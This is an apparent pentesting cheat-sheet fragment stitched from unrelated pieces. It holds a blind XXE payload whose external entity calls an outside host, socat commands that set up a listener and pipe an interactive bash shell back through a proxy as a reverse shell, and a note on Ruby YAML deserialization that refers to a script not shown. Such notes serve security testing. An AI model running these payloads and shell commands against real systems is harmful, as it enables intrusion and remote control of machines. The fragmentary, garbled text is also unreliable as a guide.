| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| # Listener on x.x.x.x:443: | |
| socat file:`tty`,raw,echo=0 tcp-listen:443 | |
| # Reverse shell proxy server is at 10.10.10.1:8222: | |
| socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
| socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
Based on excellent write-up from https://www.elttam.com.au/blog/ruby-deserialization/
Doesn't work to use YAML.dump(payload) in the above script. This only produces the following YAML, which is worthless:
--- !ruby/object:Gem::Requirement
requirements:
- - ">="
- !ruby/object:Gem::Version
version: '0'